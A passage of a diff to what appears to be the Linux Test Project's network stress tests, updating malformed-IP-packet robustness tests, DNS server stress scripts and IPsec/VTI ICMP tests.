@@ -22,14 +21,12 @@
 TCID=broken_ip4-fragment01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets that have wrong fragment information"
+tst_resm TINFO "Sending ICMPv4 with wrong frag. info for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -f"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -f
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip4-ihl b/testcases/network/stress/broken_ip/broken_ip4-ihl
index c3a34ec..48deb3b 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-ihl
+++ b/testcases/network/stress/broken_ip/broken_ip4-ihl
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,15 +21,12 @@
 TCID=broken_ip4-ihl01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets that have wrong value in the header \
-length field."
+tst_resm TINFO "Sending ICMPv4 with wrong header len field for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -l"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -l
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip4-protcol b/testcases/network/stress/broken_ip/broken_ip4-protcol
index 60a6f17..b4b767c 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-protcol
+++ b/testcases/network/stress/broken_ip/broken_ip4-protcol
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,14 +21,12 @@
 TCID=broken_ip4-protocol01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets that have wrong value in the protocol field"
+tst_resm TINFO "Sending ICMPv4 with wrong proto field for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
--M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -p"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -p
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip4-totlen b/testcases/network/stress/broken_ip/broken_ip4-totlen
index e854d52..051d969 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-totlen
+++ b/testcases/network/stress/broken_ip/broken_ip4-totlen
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,14 +21,12 @@
 TCID=broken_ip4-totlen01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets that have wrong value in the total length field."
+tst_resm TINFO "Sending ICMPv4 with wrong total len field for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
--M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -L"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -L
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip4-version b/testcases/network/stress/broken_ip/broken_ip4-version
index 6ba635a..c3ccf7f 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-version
+++ b/testcases/network/stress/broken_ip/broken_ip4-version
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,14 +21,12 @@
 TCID=broken_ip4-version01
 TST_TOTAL=1
 
-. broken_ip4_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv4 packets that have wrong value in version field."
+tst_resm TINFO "Sending ICMPv4 with wrong version field for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv4_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -v"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1472" -v
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip6-dstaddr b/testcases/network/stress/broken_ip/broken_ip6-dstaddr
index 833015e..5da38ab 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-dstaddr
+++ b/testcases/network/stress/broken_ip/broken_ip6-dstaddr
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,15 +21,12 @@
 TCID=broken_ip6-dstaddr01
 TST_TOTAL=1
 
-. broken_ip6_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv6 packets whose destination address is wrong \
-(destination MAC address is correct)"
+tst_resm TINFO "Sending ICMPv6 with wrong dst address for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv6_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -i"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1452" -i
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip6-nexthdr b/testcases/network/stress/broken_ip/broken_ip6-nexthdr
index 866a92d..bb1bdcb 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-nexthdr
+++ b/testcases/network/stress/broken_ip/broken_ip6-nexthdr
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,14 +21,12 @@
 TCID=broken_ip6-nexthdr01
 TST_TOTAL=1
 
-. broken_ip6_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv6 packets that have wrong value in the next header field."
+tst_resm TINFO "Sending ICMPv4 with wrong next header for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv6_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -n"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1452" -n
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip6-plen b/testcases/network/stress/broken_ip/broken_ip6-plen
index 75ee080..8eacbf4 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-plen
+++ b/testcases/network/stress/broken_ip/broken_ip6-plen
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,15 +21,12 @@
 TCID=broken_ip6-plen01
 TST_TOTAL=1
 
-. broken_ip6_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv6 packets that have wrong value in the payload \
-length field."
+tst_resm TINFO "Sending ICMPv4 with wrong payload len for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv6_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -L"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1452" -L
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip6-version b/testcases/network/stress/broken_ip/broken_ip6-version
index 9467347..cdce71f 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-version
+++ b/testcases/network/stress/broken_ip/broken_ip6-version
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,14 +21,12 @@
 TCID=broken_ip6-version01
 TST_TOTAL=1
 
-. broken_ip6_lib.sh
+. test_net.sh
 
-tst_resm TINFO "Verify that the kernel is not crashed with receiving \
-a large number of IPv6 packets that have wrong value in version field."
+tst_resm TINFO "Sending ICMPv6 with wrong version field for $NS_DURATION sec"
 
-tst_rhost_run -s -c "ns-icmpv6_sender -I $(tst_iface rhost) -S $rhost_addr \
-	-M $(tst_hwaddr lhost) -D $lhost_addr -s 56 -t $NS_DURATION -v"
+tst_icmp -t $NS_DURATION -s "0 100 500 1000 1452" -v
 
-tst_resm TPASS "Test is finished successfully."
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/broken_ip/broken_ip6_lib.sh b/testcases/network/stress/broken_ip/broken_ip6_lib.sh
deleted file mode 100644
index e2429ac..0000000
--- a/testcases/network/stress/broken_ip/broken_ip6_lib.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-. test_net.sh
-
-TST_IPV6=6
-
-tst_resm TINFO "Test duration is $NS_DURATION [sec]"
-
-lhost_addr=$(tst_ipaddr)
-rhost_addr=$(tst_ipaddr rhost)
-
-tst_rhost_run -s -c \
-	"check_icmpv6_connectivity $(tst_iface rhost) $lhost_addr"
diff --git a/testcases/network/stress/dns/Makefile b/testcases/network/stress/dns/Makefile
index d15ce29..10f00bf 100644
--- a/testcases/network/stress/dns/Makefile
+++ b/testcases/network/stress/dns/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/dns/dns-stress b/testcases/network/stress/dns/dns-stress
old mode 100644
new mode 100755
index 7a6cba5..06b4709
--- a/testcases/network/stress/dns/dns-stress
+++ b/testcases/network/stress/dns/dns-stress
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
 # This program is free software; you can redistribute it and/or
@@ -27,7 +26,7 @@
 
 # Minimum host ID in the zone file.
 # The ID is used as the host portion of the address
-MIN_ID=3
+MIN_ID=2
 # Maximum host ID in the zone file.
 MAX_ID=254
 # Domain name for testing
@@ -49,19 +48,16 @@
 
 	if [ "$TST_IPV6" ]; then
 		record="AAAA"
-		net="$IPV6_NETWORK"
-		net_rev="$IPV6_NET_REV"
+		net="fd00:cafe"
+		net_rev="0.0.0.0.0.0.0.0.e.f.a.c.0.0.d.f"
 	else
 		record="A"
-		net="$IPV4_NETWORK"
-		net_rev="$IPV4_NET_REV"
+		net="10.23.0"
+		net_rev="0.23.10"
 	fi
 
 	trap "tst_brkm TBROK 'test interrupted'" INT
 
-	check_icmpv${ipver}_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
-		tst_brkm TBROK "Failed to ping to $(tst_ipaddr rhost)"
-
 	tst_tmpdir
 
 	ip6_opt=
@@ -73,7 +69,7 @@
 	cat << EOD > named.conf
 	options {
 		directory "$(pwd)";
-		pid-file "$(pwd)/named.pid";
+		pid-file "named.pid";
 		recursion no;
 		$ip6_opt
 	};
@@ -100,23 +96,22 @@
 	86400      ; dummy value
 )
 	IN	NS	dns.$DOMAIN.
-dns	IN	$record	$(tst_ipaddr)
-client	IN	$record	$(tst_ipaddr rhost)
 EOD
 }
 
 setup_4()
 {
-	id=$MIN_ID
+	printf "dns\tIN\tA\t$net.1\n" >> ltp-ns.zone
+	local id=$MIN_ID
 	while [ $id -le $MAX_ID ]; do
-		printf "node$id\tIN\tA\t$IPV4_NETWORK.$id\n" >> ltp-ns.zone
+		printf "node$id\tIN\tA\t$net.$id\n" >> ltp-ns.zone
 		id=$(($id + 1))
 	done
 
 	# reverse zone file
 	cat << EOD > ltp-ns.rev
 \$TTL 10
-@	IN	SOA dns.$DOMAIN. root.$DOMAIN. (
+@	IN	SOA $DOMAIN. root.$DOMAIN. (
 	2005092701 ; serial
 	3600       ; dummy value
 	900        ; dummy value
@@ -124,8 +119,6 @@
 	86400      ; dummy value
 )
         IN      NS      dns.$DOMAIN.
-$LHOST_IPV4_HOST	IN	PTR	dns.$DOMAIN.
-$RHOST_IPV4_HOST	IN	PTR	client.$DOMAIN.
 EOD
 
 	id=$MIN_ID
@@ -137,16 +130,17 @@
 
 setup_6()
 {
-	id=$MIN_ID
+	printf "dns\tIN\tAAAA\t$net::1\n" >> ltp-ns.zone
+	local id=$MIN_ID
 	while [ $id -le $MAX_ID ]; do
-		printf "node$id\tIN\tAAAA\t$IPV6_NETWORK::%x\n" $id >> ltp-ns.zone
+		printf "node$id\tIN\tAAAA\t$net::%x\n" $id >> ltp-ns.zone
 		id=$(($id + 1))
 	done
 
 	# reverse zone file
 	cat << EOD > ltp-ns.rev
 \$TTL 10
-@	IN	SOA dns.$DOMAIN. root.$DOMAIN. (
+@	IN	SOA $DOMAIN. root.$DOMAIN. (
 	2005092701 ; serial
 	3600       ; dummy value
 	900        ; dummy value
@@ -154,13 +148,11 @@
 	86400      ; dummy value
 )
         IN      NS      dns.$DOMAIN.
-$LHOST_IPV6_REV	IN	PTR	dns.$DOMAIN.
-$RHOST_IPV6_REV	IN	PTR	client.$DOMAIN.
 EOD
 
 	id=$MIN_ID
+	local rev_ip="0.0.0.0.0.0.0.0.0.0.0.0.0.0"
 	while [ $id -le $MAX_ID ]; do
-		local rev_ip="0.0.0.0.0.0.0.0.0.0.0.0.0.0"
 		printf "%x.%x.$rev_ip\tIN\tPTR\tnode$id.$DOMAIN.\n" \
 			$(($id % 16)) $(($id / 16)) >> ltp-ns.rev
 		id=$(($id + 1))
@@ -169,19 +161,19 @@
 
 start_named()
 {
-	chmod 770 $TST_TMPDIR
-	chmod 660 $TST_TMPDIR/*
+	chmod 770 .
+	chmod 660 ./*
 
-	port=$(tst_get_unused_port ipv${ipver} stream)
+	port=$(tst_get_unused_port ipv${ipver} dgram)
 
-	# Start named daemon
+	tst_resm TINFO "Start named daemon, port $port"
 	named -$ipver -c named.conf -p $port || \
 		tst_brkm TBROK "Failed to run named daemon"
 
 	# Make sure named.pid is created.
 	while true ; do
 		test -s named.pid && break
-		sleep 1
+		tst_sleep 100ms
 	done
 }
 
diff --git a/testcases/network/stress/dns/dns-stress-lib.sh b/testcases/network/stress/dns/dns-stress-lib.sh
new file mode 100644
index 0000000..d85f6e3
--- /dev/null
+++ b/testcases/network/stress/dns/dns-stress-lib.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+. test.sh
+
+TST_CLEANUP=tst_rmdir
+
+dns_check_answer()
+{
+	local fname="$1"
+
+	if ! grep -q 'status: NOERROR' $fname; then
+		cat $fname
+		tst_brkm TFAIL "unexpected query status"
+	fi
+	if ! grep -q 'QUERY: 1, ANSWER: 1' $fname; then
+		cat $fname
+		tst_brkm TFAIL "unexpected number of query/answer"
+	fi
+}
+
+dns_check_send_requests()
+{
+	[ $num -eq $connect_quantity ] && return
+	tst_brkm TFAIL "some requests failed: $num/$connect_quantity"
+}
+
+tst_tmpdir
diff --git a/testcases/network/stress/dns/dns-stress01-rmt b/testcases/network/stress/dns/dns-stress01-rmt
index fcdb595..71b7d8d 100644
--- a/testcases/network/stress/dns/dns-stress01-rmt
+++ b/testcases/network/stress/dns/dns-stress01-rmt
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
 # This program is free software; you can redistribute it and/or
@@ -22,7 +21,7 @@
 TCID=dns-stress01-rmt
 TST_TOTAL=1
 
-. test.sh
+. dns-stress-lib.sh
 
 # Check the arguments
 if [ $# -ne 7 ]; then
@@ -49,21 +48,26 @@
 esac
 
 # Check the connectivity first
-dig @$srv_ipaddr -p $port node${min_id}.${domain} $record > /dev/null || \
+dig @$srv_ipaddr -p $port node${min_id}.${domain} $record > ans.log 2>&1 || \
 	tst_brkm TBROK "Failed to connect $srv_ipaddr"
+dns_check_answer ans.log
 
 # Loop for a large number of name lookup queries
 num=0
 id=$min_id
 while [ $num -lt $connect_quantity ]; do
-	dig @$srv_ipaddr -p $port node${id}.${domain} $record > /dev/null
+	dig @$srv_ipaddr -p $port node${id}.${domain} $record \
+		> /dev/null || break
 	id=$(($id + 1))
 	[ $id -gt $max_id ] && id=$min_id
 	num=$(($num + 1))
 done
 
 # Check the connectivity again
-dig @$srv_ipaddr -p $port node${min_id}.${domain} $record > /dev/null || \
-	tst_brkm TBROK "Failed to connect $srv_ipaddr. dns server seems down."
+dig @$srv_ipaddr -p $port node${id}.${domain} $record > ans.log 2>&1 || \
+	tst_brkm TBROK "Failed to connect $srv_ipaddr"
+dns_check_answer ans.log
+
+dns_check_send_requests
 
 tst_exit
diff --git a/testcases/network/stress/dns/dns-stress02-rmt b/testcases/network/stress/dns/dns-stress02-rmt
index 829f257..58fd60f 100644
--- a/testcases/network/stress/dns/dns-stress02-rmt
+++ b/testcases/network/stress/dns/dns-stress02-rmt
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2006
 #
 # This program is free software; you can redistribute it and/or
@@ -22,7 +21,7 @@
 TCID=dns-stress02-rmt
 TST_TOTAL=1
 
-. test.sh
+. dns-stress-lib.sh
 
 if [ $# -ne 7 ]; then
 	tst_brkm TBROK "Usage: $0 ip_ver srv_ipaddr port net \
@@ -52,21 +51,28 @@
 esac
 
 # Check the connectivity first
-dig @$srv_ipaddr $opt -p $port -x ${net}${sep}${min_id} $record > /dev/null || \
+dig @$srv_ipaddr $opt -p $port -x ${net}${sep}${min_id} $record \
+	> ans.log 2>&1 || \
 	tst_brkm TBROK "Failed to connect $srv_ipaddr"
+dns_check_answer ans.log
 
 # Loop for a large number of reverse name lookup queries
 num=0
 id=$min_id
 while [ $num -lt $connect_quantity ]; do
-	dig @$srv_ipaddr $opt -p $port -x ${net}${sep}${id} $record > /dev/null
+	dig @$srv_ipaddr $opt -p $port -x ${net}${sep}${id} $record \
+		> /dev/null || break
 	id=$(($id + 1))
 	[ $id -gt $max_id ] && id=$min_id
 	num=$(($num + 1))
 done
 
 # Check the connectivity again
-dig @$srv_ipaddr $opt -p $port -x ${net}${sep}${min_id} $record > /dev/null || \
-	tst_brkm TBROK "Failed to connect $srv_ipaddr. dns server seems down."
+dig @$srv_ipaddr $opt -p $port -x ${net}${sep}${min_id} $record \
+	> ans.log 2>&1 || \
+	tst_brkm TBROK "Failed to connect $srv_ipaddr"
+dns_check_answer ans.log
+
+dns_check_send_requests
 
 tst_exit
diff --git a/testcases/network/stress/ftp/Makefile b/testcases/network/stress/ftp/Makefile
index 1a1e9f4..c0ea3d4 100644
--- a/testcases/network/stress/ftp/Makefile
+++ b/testcases/network/stress/ftp/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/http/Makefile b/testcases/network/stress/http/Makefile
index 0523238..ddc45c1 100644
--- a/testcases/network/stress/http/Makefile
+++ b/testcases/network/stress/http/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/icmp/Makefile b/testcases/network/stress/icmp/Makefile
index 272cc73..61a142a 100644
--- a/testcases/network/stress/icmp/Makefile
+++ b/testcases/network/stress/icmp/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/icmp/icmp-uni-basic.sh b/testcases/network/stress/icmp/icmp-uni-basic.sh
index 519d870..2aae945 100755
--- a/testcases/network/stress/icmp/icmp-uni-basic.sh
+++ b/testcases/network/stress/icmp/icmp-uni-basic.sh
@@ -25,46 +25,21 @@
 
 . ipsec_lib.sh
 
-while getopts "hl:m:p:s:S:6" opt; do
-	case "$opt" in
-	h)
-		echo "Usage:"
-		echo "h        help"
-		echo "l n      n is the number of test link when tests run"
-		echo "m x      x is ipsec mode, could be transport / tunnel"
-		echo "p x      x is ipsec protocol, could be ah / esp / ipcomp"
-		echo "s x      x is icmp messge size array"
-		echo "S n      n is IPsec SPI value"
-		echo "6        run over IPv6"
-		exit 0
-	;;
-	l) LINK_NUM=$OPTARG ;;
-	m) IPSEC_MODE=$OPTARG ;;
-	p) IPSEC_PROTO=$OPTARG ;;
-	s) ICMP_SIZE_ARRAY=$OPTARG ;;
-	S) SPI=$OPTARG ;;
-	6) # skip, test_net library already processed it
-	;;
-	*) tst_brkm TBROK "unknown option: $opt" ;;
-	esac
-done
-
-SPI=${SPI:-1000}
 LINK_NUM=${LINK_NUM:-0}
 DO_IPSEC=${DO_IPSEC:-false}
-ICMP_SIZE_ARRAY=${ICMP_SIZE_ARRAY:-"10 100 1000 10000 65507"}
+IPSEC_SIZE_ARRAY="${IPSEC_SIZE_ARRAY:-10 100 1000 10000 65507}"
 [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ] && DO_IPSEC=true || DO_IPSEC=false
 
 # Test description
 tst_resm TINFO "Sending ICMP messages with the following conditions"
 tst_resm TINFO "- Version of IP is IPv${TST_IPV6:-4}"
-tst_resm TINFO "- Size of packets are ( $ICMP_SIZE_ARRAY )"
+tst_resm TINFO "- Size of packets are ( $IPSEC_SIZE_ARRAY )"
 
 if $DO_IPSEC; then
 	case $IPSEC_PROTO in
 	ah)	tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" ;;
 	esp)	tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" ;;
-	ipcomp)	tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" ;;
+	comp)	tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" ;;
 	esac
 fi
 
@@ -77,11 +52,11 @@
 
 # Configure SAD/SPD
 if $DO_IPSEC ; then
-	tst_ipsec lhost $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr
-	tst_ipsec rhost $IPSEC_PROTO $IPSEC_MODE $SPI $rhost_addr $lhost_addr
+	tst_ipsec lhost $lhost_addr $rhost_addr
+	tst_ipsec rhost $rhost_addr $lhost_addr
 fi
 
-tst_ping $lhost_ifname $rhost_addr $ICMP_SIZE_ARRAY
+tst_ping $lhost_ifname $rhost_addr $IPSEC_SIZE_ARRAY
 if [ $? -ne 0 ]; then
 	tst_resm TFAIL "Checked IPv${TST_IPV6:-4} $IPSEC_PROTO $IPSEC_MODE"
 else
diff --git a/testcases/network/stress/icmp/icmp-uni-vti.sh b/testcases/network/stress/icmp/icmp-uni-vti.sh
new file mode 100755
index 0000000..a87ca55
--- /dev/null
+++ b/testcases/network/stress/icmp/icmp-uni-vti.sh
@@ -0,0 +1,71 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=icmp-uni-vti
+TST_TOTAL=1
+TST_CLEANUP="tst_ipsec_cleanup"
+
+. ipsec_lib.sh
+
+do_setup()
+{
+	IPSEC_SIZE_ARRAY="${IPSEC_SIZE_ARRAY:-10 100 1000 10000 65507}"
+
+	if_loc=$(tst_iface)
+	if_rmt=$(tst_iface rhost)
+
+	ip_loc=$(tst_ipaddr)
+	ip_rmt=$(tst_ipaddr rhost)
+
+	tst_vti="ltp_vti0"
+
+	tst_resm TINFO "Test vti$TST_IPV6 + IPsec[$IPSEC_PROTO/$IPSEC_MODE]"
+
+	tst_ipsec_vti lhost $ip_loc $ip_rmt $tst_vti
+	tst_ipsec_vti rhost $ip_rmt $ip_loc $tst_vti
+
+	local mask=
+	if [ "$TST_IPV6" ]; then
+		ip_loc_tun="${IPV6_NET32_UNUSED}::1";
+		ip_rmt_tun="${IPV6_NET32_UNUSED}::2";
+		mask=64
+		ROD ip -6 route add ${IPV6_NET32_UNUSED}::/$mask dev $tst_vti
+	else
+		ip_loc_tun="${IPV4_NET16_UNUSED}.1.1";
+		ip_rmt_tun="${IPV4_NET16_UNUSED}.1.2";
+		mask=30
+		ROD ip route add ${IPV4_NET16_UNUSED}.1.0/$mask dev $tst_vti
+	fi
+
+	tst_resm TINFO "Add IPs to vti tunnel, " \
+		       "loc: $ip_loc_tun/$mask, rmt: $ip_rmt_tun/$mask"
+
+	ROD ip a add $ip_loc_tun/$mask dev $tst_vti
+	tst_rhost_run -s -c "ip a add $ip_rmt_tun/$mask dev $tst_vti"
+}
+
+do_test()
+{
+	tst_resm TINFO "Sending ICMP messages..."
+	EXPECT_PASS tst_ping $tst_vti $ip_rmt_tun $IPSEC_SIZE_ARRAY
+}
+
+do_setup
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/icmp/multi-diffip/Makefile b/testcases/network/stress/icmp/multi-diffip/Makefile
index d114c45..d0bfb37 100644
--- a/testcases/network/stress/icmp/multi-diffip/Makefile
+++ b/testcases/network/stress/icmp/multi-diffip/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
